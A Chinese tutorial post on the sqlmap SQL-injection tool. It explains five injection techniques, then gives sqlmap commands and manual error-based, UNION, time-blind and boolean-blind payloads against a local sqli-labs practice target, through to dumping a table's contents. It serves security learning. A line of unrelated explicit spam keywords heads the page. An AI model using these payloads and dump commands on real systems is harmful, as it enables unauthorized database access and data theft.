亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

SQL注入漏洞掃描之sqlmap詳解

 更新時間:2025年01月25日 11:22:44   作者:司越越  
SQLMap是一款自動執(zhí)行SQL注入的審計工具,支持多種SQL注入技術(shù),包括布爾型盲注、時間型盲注、報錯型注入、聯(lián)合查詢注入和堆疊查詢注入

what

SQLMap是一款先進(jìn)的自動執(zhí)行SQL注入的審計工具。當(dāng)給定一個URL時,SQLMap會執(zhí)行以下操作:

  1. 判斷可注入的參數(shù)。
  2. 判斷可以用哪種SQL注入技術(shù)來注入。
  3. 識別出目標(biāo)使用哪種數(shù)據(jù)庫。
  4. 根據(jù)用戶的選擇,讀取哪些數(shù)據(jù)庫中的數(shù)據(jù)。

更詳細(xì)語法請參考官方手冊---用法 | sqlmap 用戶手冊 (highlight.ink)

支持類型

sqlmap 可用于檢測利用五種不同類型的 SQL 注入。

  • 布爾型盲注(Boolean-based blind):sqlmap 會替換或添加 SQL 語句到 HTTP 請求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的 SELECT 子查詢,也可以是任意用于獲取輸出數(shù)據(jù)的 SQL 語句。針對每個注入檢測的 HTTP 響應(yīng),sqlmap 通過對比原始請求響應(yīng)的 headers/body,從而逐個字符地推導(dǎo)出注入語句的輸出?;蛘撸脩艨梢灶A(yù)先提供一個字符串或正則表達(dá)式,用于對正確頁面結(jié)果進(jìn)行匹配。sqlmap 內(nèi)部實現(xiàn)了二分算法,使得輸出中的每一個字符可在最多 7 個 HTTP 請求內(nèi)被獲取。如果請求響應(yīng)結(jié)果不是簡單的明文字符集,sqlmap 會采取更大范圍的算法來檢測輸出。
  • 時間型盲注(Time-based blind):sqlmap 會替換或者添加相關(guān)的 SQL 語句到 HTTP 請求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的、用于使后端 DBMS(Database Management System,數(shù)據(jù)庫管理系統(tǒng))延遲幾秒響應(yīng)的查詢。針對每一個注入檢測的 HTTP 響應(yīng),通過對 HTTP 響應(yīng)時間與原始請求之間進(jìn)行比較,從而逐個字符地推導(dǎo)出注入語句的輸出。正如基于布爾型盲注的技術(shù)一樣,二分算法也會被應(yīng)用。
  • 報錯型注入(Error-based):sqlmap 會替換或者添加用于引發(fā)特定數(shù)據(jù)庫錯誤的 SQL 語句到查詢參數(shù)里面,并通過解析對應(yīng)的注入結(jié)果,判斷特定的數(shù)據(jù)庫錯誤信息是否存在響應(yīng)的 headers/body 中。這項技術(shù)只有在 Web 應(yīng)用配置開啟后端 DBMS 錯誤信息提醒才有效。
  • 聯(lián)合查詢注入(UNION query-based):sqlmap 會在查詢參數(shù)中添加以 UNION ALL SELECT 開頭的合法 SQL 語句。當(dāng) Web 應(yīng)用在 for 循環(huán)中直接傳遞 SELECT 語句的查詢結(jié)果,或采用了類似的方法將查詢結(jié)果在頁面中逐行輸出時,這項技術(shù)會生效。當(dāng)查詢結(jié)果不使用 for 循環(huán)進(jìn)行全部輸出而只輸出首個結(jié)果,sqlmap 還能夠利用偏(單入口)聯(lián)合查詢 SQL 注入漏洞。
  • 堆疊查詢注入(Stacked queries),也被稱為捎帶查詢注入(piggy backing):sqlmap 會測試 Web 應(yīng)用是否支持堆疊查詢,如果支持,則在 HTTP 請求的查詢參數(shù)中添加一個分號(;),并在后面加上注入的 SQL 語句。這項技術(shù)不僅適用于執(zhí)行 SELECT 語句,同樣適用于執(zhí)行數(shù)據(jù)定義或者數(shù)據(jù)操作等 SQL 語句,同時可能可以獲取到文件系統(tǒng)的讀寫權(quán)限和系統(tǒng)命令執(zhí)行權(quán)限,不過這很大程度上取決于底層 DBMS 和當(dāng)前會話用戶的權(quán)限。

how---less-1為例

sqlmap在kali中自動集成,若要在Windows中使用需要python2.x版本

1.檢測網(wǎng)站是否存在sql注入漏洞的注入點

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id為)

---最好有個""

(-u 前提是檢測參數(shù)為GET參數(shù))

結(jié)果顯示參數(shù)id是注入點,有存在多個sql注入漏洞,分別是布爾盲注、錯誤注入、時間盲注、union聯(lián)合注入

并且返回了該網(wǎng)站基于的數(shù)據(jù)庫類型

我們來驗證一下---

錯誤注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union聯(lián)合注入

?id=100000' union select 1,2,3 --+

時間盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布爾盲注

id=1' and substr(database(),1,1)='s'--+

2.列舉可用數(shù)據(jù)庫

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列舉數(shù)據(jù)庫中的數(shù)據(jù)表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列舉數(shù)據(jù)表中的字段

?id=1 -D security -T emails --columns

5.輸出目標(biāo)字段的具體內(nèi)容

?id=1 -D security -T emails -C email_id --dump

注:若字段數(shù)不多,4與5可以合并成 ?id=1 -D security -T emails -dump

效果就是列舉該表下的所有字段以及字段的內(nèi)容,以及對應(yīng)關(guān)系 觀察更方便

若字段內(nèi)容的多少可以用--count查看

若想查看指定行數(shù)的字段內(nèi)容可以 --start(起始條數(shù)) --stop(終止條數(shù))

?id=1 -D security -T emails --start 2 --stop 3 --dump

總結(jié)

以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評論